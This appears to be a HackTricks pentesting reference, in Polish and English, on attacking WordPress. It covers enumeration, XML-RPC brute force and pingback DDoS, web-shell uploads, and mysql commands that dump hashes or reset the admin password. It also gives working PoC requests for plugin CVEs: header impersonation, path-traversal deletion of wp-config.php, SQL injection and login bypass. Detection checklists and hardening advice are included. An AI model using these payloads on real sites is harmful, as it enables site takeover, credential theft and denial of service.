Wordpress
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
-
Uploaded files go to:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Themes files can be found in /wp-content/themes/, so if you change some php of the theme to get RCE you probably will use that path. For example: Using theme twentytwelve you can access the 404.php file in: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
In wp-config.php you can find the root password of the database.
-
Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.phplicense.txtcontains useful information such as the version WordPress installed.wp-activate.phpis used for the email activation process when setting up a new WordPress site.- Login folders (may be renamed to hide it):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.phpis a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress REST API.- The
wp-contentfolder is the main directory where plugins and themes are stored. wp-content/uploads/Is the directory where any files uploaded to the platform are stored.wp-includes/This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.wp-sitemap.xmlIn Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.
Post exploitation
- The
wp-config.phpfile contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.
Users Permissions
- Administrator
- Editor: Publish and manages his and others posts
- Author: Publish and manage his own posts
- Contributor: Write and manage his posts but cannot publish them
- Subscriber: Browser posts and edit their profile
Passive Enumeration
Get WordPress version
Check if you can find the files /license.txt or /readme.html
Inside the source code of the page (example from https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- Pliki linków CSS
.png)
- Pliki JavaScript
.png)
Pobierz wtyczki
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Pobieranie motywów
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Ogólne wyodrębnianie wersji
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktywna enumeracja
Wtyczki i motywy
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych wtyczek i motywów. Aby odkryć je wszystkie, będziesz musiał aktywnie przeprowadzić Brute Force listy wtyczek i motywów (miejmy nadzieję, że istnieją zautomatyzowane narzędzia zawierające te listy).
Użytkownicy
- ID Brute: Uzyskujesz prawidłowych użytkowników z serwisu WordPress przez Brute Forcing ID użytkowników:
curl -s -I -X GET http://blog.example.com/?author=1
Jeśli odpowiedzi to 200 lub 30X, oznacza to, że id jest prawidłowe. Jeśli odpowiedź to 400, to id jest nieprawidłowe.
- wp-json: Możesz też spróbować uzyskać informacje o użytkownikach, zapytując:
curl http://blog.example.com/wp-json/wp/v2/users
Kolejny endpoint /wp-json/, który może ujawnić pewne informacje o użytkownikach, to:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Zauważ, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. Dostarczone zostaną tylko informacje o użytkownikach, którzy mają tę funkcję włączoną.
Również zwróć uwagę, że /wp-json/wp/v2/pages może leak IP addresses.
- Login username enumeration: Podczas logowania w
/wp-login.phpkomunikat jest inny i wskazuje, czy nazwa użytkownika istnieje, czy nie.
XML-RPC
Jeśli xml-rpc.php jest aktywny możesz wykonać credentials brute-force lub użyć go do uruchomienia DoS attacks na inne zasoby. (You can automate this process using this for example).
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do /xmlrpc.php i wyślij to żądanie:
Sprawdź
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories lub metaWeblog.getUsersBlogs to przykładowe metody, które można użyć do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Komunikat “Nieprawidłowa nazwa użytkownika lub hasło” w odpowiedzi z kodem 200 powinien pojawić się, jeśli dane uwierzytelniające są nieprawidłowe.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
Używając prawidłowych danych uwierzytelniających możesz przesłać plik. W odpowiedzi pojawi się ścieżka (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:
.png)
Bypass 2FA
This method is meant for programs and not for humans, and old, therefore it doesn’t support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA. Note that you won’t be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress lo scan some internal network (you can indicate any port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Jeśli otrzymasz faultCode z wartością większą niż 0 (17), oznacza to, że port jest otwarty.
Zobacz użycie system.multicall w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, aby wywołać DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
Ten plik zwykle znajduje się w katalogu root strony Wordpress: /wp-cron.php
Gdy ten plik jest wywoływany, wykonywane jest “ciężkie” zapytanie MySQL, więc może być wykorzystany przez atakujących do spowodowania DoS.
Domyślnie wp-cron.php jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co na serwisach o dużym ruchu może powodować problemy (DoS).
Zaleca się wyłączyć Wp-Cron i utworzyć rzeczywisty cronjob na hoście, który będzie wykonywał potrzebne działania w regularnych odstępach (bez powodowania problemów).
/wp-json/oembed/1.0/proxy - SSRF
Spróbuj uzyskać dostęp do https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i strona Wordpress może wykonać żądanie do Ciebie.
This is the response when it doesn’t work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
To narzędzie sprawdza, czy istnieje methodName: pingback.ping oraz ścieżka /wp-json/oembed/1.0/proxy, i jeśli tak, próbuje je wykorzystać.
Narzędzia automatyczne
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Uzyskanie dostępu przez nadpisanie jednego bitu
To bardziej ciekawostka niż rzeczywisty atak. W CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man można było zmienić 1 bit w dowolnym pliku wordpress. Dzięki temu można było zmienić pozycję 5389 w pliku /var/www/html/wp-includes/user.php, aby zamienić operację NOT (!) na NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modyfikacja pliku php w używanym motywie (admin credentials needed)
Wygląd → Edytor motywu → Szablon 404 (po prawej)
Zmień zawartość na php shell:
.png)
Wyszukaj w internecie, jak uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz wejść tutaj: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Możesz użyć:
use exploit/unix/webapp/wp_admin_shell_upload
to get a session.
Plugin RCE
PHP plugin
Może być możliwe wgranie plików .php jako plugin.
Utwórz swój php backdoor używając na przykład:
.png)
Następnie dodaj nowy plugin:
.png)
Wgraj plugin i naciśnij Install Now:
.png)
Kliknij na Procced:
.png)
Prawdopodobnie na pierwszy rzut oka nic się nie stanie, ale jeśli przejdziesz do Media, zobaczysz swój shell wgrany:
.png)
Otwórz go, a zobaczysz URL do wykonania reverse shell:
.png)
Uploading and activating malicious plugin
Ta metoda polega na instalacji złośliwego pluginu znanego jako podatny, który można wykorzystać do uzyskania web shell. Proces ten wykonywany jest przez dashboard WordPressa w następujący sposób:
- Plugin Acquisition: Plugin jest pobierany ze źródła takiego jak Exploit DB jak here.
- Plugin Installation:
- Przejdź do dashboardu WordPress, następnie do
Dashboard > Plugins > Upload Plugin. - Wgraj plik zip pobranego pluginu.
- Plugin Activation: Po pomyślnym zainstalowaniu plugin musi zostać aktywowany przez dashboard.
- Exploitation:
- Po zainstalowaniu i aktywowaniu pluginu “reflex-gallery” można go wykorzystać, gdyż jest znany jako podatny.
- Metasploit framework zawiera exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, dającą nieautoryzowany dostęp do strony.
- Należy zauważyć, że jest to tylko jedna z wielu metod wykorzystania strony WordPress.
Treść zawiera ilustracje przedstawiające kroki w dashboardzie WordPress dotyczące instalacji i aktywacji pluginu. Należy jednak pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być wykorzystywane odpowiedzialnie i tylko w kontekście prawnym, takim jak penetration testing z wyraźnym pozwoleniem.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other’s criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Tworzy użytkownika w WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Wgraj swój custom plugin (backdoor) do WordPress.
- (RCE) Built-In Plugin Edit: Edytuje wbudowane pluginy w WordPress.
- (RCE) Built-In Theme Edit: Edytuje wbudowane motywy w WordPress.
- (Custom) Custom Exploits: Własne exploity dla third-party WordPress Plugins/Themes.
Post Exploitation
Wyodrębnij nazwy użytkowników i hasła:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Zmień hasło administratora:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Pentest wtyczek Wordpress
Powierzchnia ataku
Znajomość tego, w jaki sposób wtyczka Wordpress może udostępniać funkcjonalność, jest kluczowa do znajdowania podatności w tej funkcjonalności. Możesz zobaczyć, jak wtyczka może wystawiać funkcjonalność w poniższych punktach oraz przykłady podatnych wtyczek w this blog post.
wp_ajax
Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługiwacze AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, dość często te funkcje będą opierać zarówno uwierzytelnianie, jak i autoryzację na istnieniu Wordpress nonce, który każdy uwierzytelniony użytkownik w instancji Wordpress może posiadać (niezależnie od roli).
Oto funkcje, które mogą być użyte do wystawienia funkcji w wtyczce:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Użycie nopriv sprawia, że endpoint jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).
Caution
Co więcej, jeśli funkcja sprawdza autoryzację użytkownika tylko za pomocą funkcji
wp_verify_nonce, to funkcja ta jedynie weryfikuje, czy użytkownik jest zalogowany — zwykle nie sprawdza roli użytkownika. W efekcie użytkownicy o niskich uprawnieniach mogą mieć dostęp do akcji wymagających wysokich uprawnień.
- REST API
Możliwe jest także wystawienie funkcji z wordpress poprzez zarejestrowanie REST API za pomocą funkcji register_rest_route:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback jest callbackiem do funkcji, która sprawdza, czy dany użytkownik jest autoryzowany do wywołania metody API.
If the built-in __return_true function is used, it’ll simply skip user permissions check.
- Direct access to the php file
Oczywiście, Wordpress używa PHP i pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Zatem, jeśli wtyczka ujawnia jakąkolwiek podatną funkcjonalność, która jest wywoływana jedynie przez dostęp do pliku, będzie ona możliwa do wykorzystania przez dowolnego użytkownika.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Niektóre wtyczki implementują skróty “trusted header” dla integracji wewnętrznych lub reverse proxies i następnie używają tego nagłówka do ustawienia kontekstu bieżącego użytkownika dla żądań REST. Jeśli nagłówek nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i trafić na uprzywilejowane REST routes jako administrator.
- Impact: eskalacja uprawnień bez uwierzytelnienia do administratora poprzez utworzenie nowego administratora za pomocą core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1(wymusza ID użytkownika 1, zazwyczaj pierwsze konto administratora). - Exploited route:
POST /wp-json/wp/v2/userswith an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Dlaczego to działa
- Wtyczka mapuje kontrolowany przez klienta nagłówek na stan uwierzytelnienia i pomija sprawdzenia uprawnień.
- WordPress core oczekuje uprawnienia
create_usersdla tej trasy; exploit wtyczki omija to, ustawiając bezpośrednio kontekst bieżącego użytkownika na podstawie nagłówka.
Oczekiwane wskaźniki powodzenia
- HTTP 201 z ciałem JSON opisującym utworzonego użytkownika.
- Nowy użytkownik administratora widoczny w
wp-admin/users.php.
Lista kontrolna wykrywania
- Grepuj pod kątem
getallheaders(),$_SERVER['HTTP_...']lub vendor SDKs, które odczytują niestandardowe nagłówki w celu ustawienia kontekstu użytkownika (np.wp_set_current_user(),wp_set_auth_cookie()). - Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń
permission_callbacki zamiast tego polegają na nagłówkach żądania. - Szukaj użyć funkcji zarządzania użytkownikami core (
wp_insert_user,wp_create_user) wewnątrz handlerów REST, które są zabezpieczone jedynie przez wartości nagłówków.
Nieuwierzytelnione dowolne usuwanie plików przez wp_ajax_nopriv (Litho Theme <= 3.0)
Motywy i wtyczki WordPress często udostępniają handlery AJAX przez hooki wp_ajax_ i wp_ajax_nopriv_. Gdy użyta jest wariant nopriv, callback staje się dostępny dla niezalogowanych odwiedzających, więc każda wrażliwa akcja musi dodatkowo zaimplementować:
- A capability check (e.g.
current_user_can()or at leastis_user_logged_in()), and - A CSRF nonce validated with
check_ajax_referer()/wp_verify_nonce(), and - Strict input sanitisation / validation.
Motyw Litho multipurpose (< 3.1) pominął te 3 kontrole w funkcji Remove Font Family i finalnie dostarczył następujący kod (uproszczony):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Problemy wprowadzone przez ten fragment:
- Dostęp bez uwierzytelnienia – hook
wp_ajax_nopriv_jest zarejestrowany. - Brak sprawdzenia nonce / uprawnień – każdy odwiedzający może wywołać punkt końcowy.
- Brak sanitizacji ścieżki – kontrolowany przez użytkownika
fontfamilyciąg jest konkatenowany do ścieżki systemu plików bez filtrowania, co pozwala na klasyczne../../traversal.
Eksploatacja
Atakujący może usunąć dowolny plik lub katalog poniżej katalogu bazowego uploads (zwykle <wp-root>/wp-content/uploads/) wysyłając jedno żądanie HTTP POST:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.
Lista kontrolna wykrywania
- Każdy callback
add_action( 'wp_ajax_nopriv_...'), który wywołuje pomocnicze funkcje systemu plików (copy(),unlink(),$wp_filesystem->delete(), itd.). - Konkatenacja niesanitizowanych danych wejściowych od użytkownika w ścieżki (szukaj
$_POST,$_GET,$_REQUEST). - Brak
check_ajax_referer()orazcurrent_user_can()/is_user_logged_in().
Privilege escalation przez przywracanie przestarzałych ról i brak autoryzacji (ASE “View Admin as Role”)
Wiele wtyczek implementuje funkcję “view as role” lub tymczasowego przełączania ról, zapisując oryginalne role w user meta, aby można je było później przywrócić. Jeśli ścieżka przywracania opiera się tylko na parametrach żądania (np. $_REQUEST['reset-for']) i liście utrzymywanej przez wtyczkę bez sprawdzania uprawnień oraz ważnego nonce, staje się to vertical privilege escalation.
Przykład z rzeczywistego świata znaleziono w wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetująca przywracała role na podstawie reset-for=<username> jeśli nazwa użytkownika pojawiała się w wewnętrznej tablicy $options['viewing_admin_as_role_are'], ale nie wykonywała ani sprawdzenia current_user_can() ani weryfikacji nonce przed usunięciem bieżących ról i ponownym dodaniem zapisanych ról z user meta _asenha_view_admin_as_original_roles:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Dlaczego jest to eksploatowalne
- Ufając
$_REQUEST['reset-for']i plugin option bez autoryzacji po stronie serwera. - Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w
_asenha_view_admin_as_original_rolesi został zdegradowany, może je przywrócić, korzystając ze ścieżki resetowania. - W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógłby wywołać reset dla innej nazwy użytkownika wciąż obecnej w
viewing_admin_as_role_are(błędna autoryzacja).
Eksploatacja (przykład)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
W podatnych buildach usuwa to bieżące role i ponownie dodaje zapisane oryginalne role (np. administrator), effectively escalating privileges.
Detection checklist
- Szukaj funkcji przełączania ról, które zapisują “original roles” w user meta (np.
_asenha_view_admin_as_original_roles). - Zidentyfikuj ścieżki resetowania/przywracania, które:
- Odczytują nazwy użytkowników z
$_REQUEST/$_GET/$_POST. - Modyfikują role za pomocą
add_role()/remove_role()bezcurrent_user_can()orazwp_verify_nonce()/check_admin_referer(). - Autoryzują na podstawie tablicy opcji wtyczki (np.
viewing_admin_as_role_are) zamiast uprawnień aktora.
Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
Some plugins wire user-switching helpers to the public init hook and derive identity from a client-controlled cookie. If the code calls wp_set_auth_cookie() without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Dlaczego to jest podatne na wykorzystanie
- Publiczny hook
initsprawia, że handler jest dostępny dla niezalogowanych użytkowników (brak zabezpieczeniais_user_logged_in()). - Tożsamość jest wyprowadzana z modyfikowalnego przez klienta ciasteczka (
original_user_id). - Bezpośrednie wywołanie
wp_set_auth_cookie($uid)loguje żądającego jako tego użytkownika bez capability/nonce checks.
Eksploatacja (bez uwierzytelnienia)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF considerations for WordPress/plugin CVEs
Ogólne WAF-y edge/server są dostrojone do rozpoznawania szerokich wzorców (SQLi, XSS, LFI). Wiele wysokiego wpływu luk w WordPress/pluginach to błędy logiki specyficzne dla aplikacji lub problemy z auth, które wyglądają jak nieszkodliwy ruch, jeśli silnik nie rozumie tras WordPress i semantyki pluginów.
Offensive notes
- Celuj w plugin-specific endpoints za pomocą clean payloads:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - Najpierw testuj ścieżki bez uwierzytelniania (AJAX
nopriv, REST z permissivepermission_callback, public shortcodes). Domyślne payloads często działają bez obfuskacji. - Typowe wysokiego wpływu przypadki: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Nie polegaj na ogólnych sygnaturach WAF, żeby chronić plugin CVE. Wdroż virtual patches na warstwie aplikacji specyficzne dla podatności lub aktualizuj szybko.
- Preferuj positive-security checks w kodzie (capabilities, nonces, ścisła walidacja wejścia) zamiast negatywnych filtrów regex.
WordPress Protection
Regular Updates
Upewnij się, że WordPress, plugins i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Ponadto, instaluj tylko zaufane wtyczki i motywy WordPress.
Wtyczki bezpieczeństwa
Inne zalecenia
- Usuń domyślnego użytkownika admin
- Używaj silnych haseł i 2FA
- Okresowo przeglądaj uprawnienia użytkowników
- Ogranicz liczbę prób logowania aby zapobiec atakom Brute Force
- Zmień nazwę pliku
wp-admin.phpi zezwalaj na dostęp tylko wewnętrznie lub z określonych adresów IP.
SQL Injection bez uwierzytelnienia z powodu niewystarczającej walidacji (WP Job Portal <= 2.3.2)
Wtyczka rekrutacyjna WP Job Portal udostępniała zadanie savecategory, które ostatecznie wykonuje następujący podatny kod w modules/category/model.php::validateFormData():
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Problemy wprowadzone przez ten fragment:
- Nieodfiltrowane dane od użytkownika –
parentidpochodzi bezpośrednio z żądania HTTP. - Sklejanie stringów w klauzuli WHERE – brak
is_numeric()/esc_sql()/ prepared statement. - Brak autoryzacji – mimo że akcja wykonywana jest przez
admin-post.php, jedyną kontrolą jest a CSRF nonce (wp_verify_nonce()), który każdy odwiedzający może pobrać ze strony publicznej osadzającej shortcode[wpjobportal_my_resumes].
Wykorzystanie
- Pobierz świeży nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Wstrzyknij dowolne SQL, wykorzystując
parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, potwierdzając SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Kolejne zadanie, downloadcustomfile, pozwalało odwiedzającym pobrać dowolny plik na dysku przez path traversal. Wrażliwy sink znajduje się w modules/customfield/model.php::downloadCustomUploadedFile():
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name jest kontrolowany przez atakującego i konkatenowany bez sanitacji. Ponownie, jedynym zabezpieczeniem jest CSRF nonce, który można pobrać ze strony CV.
Eksploatacja
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Serwer zwraca zawartość wp-config.php, leaking DB credentials and auth keys.
Przejęcie konta bez uwierzytelnienia via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Wiele motywów/wtyczek dostarcza “social login” helpery udostępnione przez admin-ajax.php. Jeśli nieautoryzowana akcja AJAX (wp_ajax_nopriv_…) ufa identyfikatorom dostarczonym przez klienta, gdy brakuje danych providera, a następnie wywołuje wp_set_auth_cookie(), staje się to pełnym ominięciem uwierzytelniania.
Typowy wadliwy wzorzec (uproszczony)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Dlaczego to jest podatne
- Możliwość dostępu bez uwierzytelnienia przez admin-ajax.php (akcja wp_ajax_nopriv_…).
- Brak nonce/capability checks przed zmianą stanu.
- Brak weryfikacji OAuth/OpenID provider; domyślna gałąź akceptuje dane od atakującego.
- get_user_by(‘email’, $_POST[‘id’]) w połączeniu z wp_set_auth_cookie($uid) uwierzytelnia żądającego jako dowolny istniejący adres e-mail.
Eksploatacja (bez uwierzytelnienia)
- Wymagania wstępne: atakujący może dotrzeć do /wp-admin/admin-ajax.php i zna/zgaduje prawidłowy adres e-mail użytkownika.
- Ustaw provider na nieobsługiwaną wartość (lub go pomiń), aby wejść do domyślnej gałęzi i przekazać id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
